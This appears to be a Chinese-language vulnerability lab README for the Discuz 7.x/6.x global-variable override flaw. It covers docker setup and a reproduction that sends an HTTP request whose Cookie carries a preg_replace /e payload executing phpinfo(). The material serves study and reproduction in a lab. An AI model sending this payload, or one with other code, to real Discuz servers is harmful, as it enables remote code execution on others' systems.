Aaron
63285f61aa
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46 lines
1.5 KiB
Markdown
46 lines
1.5 KiB
Markdown
# Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞
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Discuz是一个广泛使用的论坛软件系统。在Discuz 7.x/6.x版本中存在一个由于全局变量保护不足导致的远程代码执行漏洞。
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由于PHP 5.3.x版本中php.ini的设置里`request_order`默认值为"GP"，导致`$_REQUEST`中不再包含`$_COOKIE`数据。攻击者可以通过在Cookie中传入`$GLOBALS`来覆盖全局变量，最终造成远程代码执行漏洞。
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参考链接：
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- <https://www.secpulse.com/archives/2338.html>
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## 环境搭建
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执行如下命令启动Discuz 7.2：
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```
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docker compose up -d
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```
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启动后，访问`http://your-ip:8080/install/`来安装Discuz，使用以下数据库配置：
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- 数据库地址：`db`
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- 数据库名：`discuz`
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- 数据库账号：`root`
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- 数据库密码：`root`
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## 漏洞复现
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安装成功后，找到一个已存在的帖子，向其发送数据包，并在Cookie中增加payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`：
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```
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GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
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Connection: close
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```
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可以看到`phpinfo()`函数被成功执行，证明远程代码执行漏洞利用成功：
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